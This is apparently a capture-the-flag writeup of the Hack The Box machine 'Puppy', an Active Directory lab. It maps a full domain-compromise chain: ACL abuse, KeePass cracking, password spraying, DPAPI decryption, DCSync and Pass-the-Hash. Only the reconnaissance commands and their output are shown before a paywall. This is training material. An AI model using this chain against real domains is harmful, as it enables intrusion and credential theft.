root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat puppy.md
// writeups

Puppy

17 May 2025 · 13 min read · root access
writeupshacktheboxwindowsMediumretiredvip
Puppy - maquina de Hack The Box

Executive summary — Puppy is a Medium Active Directory box in assume-breach mode (levi.james:KingofAkron2025!) with a very instructive ACL chain. BloodHound reveals levi has WriteMember over the DEVELOPERS group: we add ourselves and the DEV share (previously NO ACCESS) becomes readable, holding a KeePass KDBX4 database cracked with keepass4brute. Inside there are 5 saved passwords; a spray confirms ant.edwards, who has GenericAll over adam.silver — resetting its password leaves the account disabled, requiring manual re-enabling via LDAP. From adam.silver we reach a backup holding steph.cooper's credentials (a dead end in BloodHound) and two DPAPI blobs that, decrypted with that account's real password, reveal steph.cooper_adm — an account with DCSync rights that lets us dump Administrator's hash and perform Pass-the-Hash.

PlatformHack The Box
Operating systemWindows
DifficultyMedium
StatusRetired
Target IP10.10.11.70

Attack map

[assume-breach] levi.james : KingofAkron2025!
        |
[BloodHound] levi.james -- WriteMember -- DEVELOPERS (DEV share: NO ACCESS)
      +-> bloodyAD add groupMember DEVELOPERS levi.james -> DEV readable
        |
[DEV] recovery.kdbx (KeePass KDBX4) -- keepass2john does not support KDBX4
      +-> keepass4brute + rockyou.txt -> "liverpool"
      +-> KeePassXC reveals 5 passwords -> netexec spray -> ant.edwards:Antman2025!
        |
[BloodHound] ant.edwards -- GenericAll -- adam.silver
      +-> bloodyAD set password Abc123456! (account ends up disabled, UAC 66050)
      +-> ldapsearch confirms UAC=66050 -> ldapmodify UAC=66048 -> re-enabled
        |
[adam.silver] C:\Backups\site-backup-2024-12-30.zip -> nms-auth-config.xml.bak
      +-> steph.cooper:ChefSteph2025! -- BloodHound: no exploitable ACLs (dead end)
      +-> DPAPI masterkey blob (adam.silver desktop) + credential blob (steph.cooper profile)
      +-> exfiltrated via impacket-smbserver -> impacket-dpapi (with steph.cooper key)
        |
[steph.cooper_adm] FivethChipOnItsWay2025! -- DCSync (BloodHound)
      +-> impacket-secretsdump -> Administrator NTLM hash
      +-> evil-winrm Pass-the-Hash
        |
[DOMAIN ADMIN]  root.txt

1. Reconnaissance and enumeration

nmap -sC -sV 10.10.11.70
53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http
636/tcp  open  ldaps
3268/tcp open  ldap
5985/tcp open  http (WinRM)

That specific handful of ports (Kerberos, LDAP/LDAPS, SMB, WinRM) is the fingerprint of a Domain Controller — the domain is PUPPY.HTB. The challenge starts in assume-breach mode, with the credential levi.james:KingofAkron2025! already provided, so we skip straight to authenticated enumeration. Before touching Kerberos we sync the clock against the DC (ntpdate puppy.htb) and add the domain to /etc/hosts — clock drift alone is enough to break Kerberos authentication.

rpcclient -U levi.james%KingofAkron2025! 10.10.11.70 -c enumdomusers
Administrator
Guest
krbtgt
levi.james
ant.edwards
adam.silver
jamie.williams
steph.cooper
steph.cooper_adm

RPC enumeration reveals the full list of domain accounts — including ant.edwards, adam.silver, steph.cooper, and steph.cooper_adm, all of which show up later in the chain.

smbmap -H 10.10.11.70 -u levi.james -p 'KingofAkron2025!'
ADMIN$       NO ACCESS
C$           NO ACCESS
DEV          NO ACCESS
IPC$         READ ONLY
NETLOGON     READ ONLY
SYSVOL       READ ONLY

DEV is the only non-standard share name — and precisely the one listed as NO ACCESS: we need additional permissions, which we go look for in the domain's relationship graph.

🔒 Clearance required

This content is Root Access only. Everything else on the site — the free tier, the whole public library — stays open.

See Root Access plans

No account? Create one free then upgrade from your console.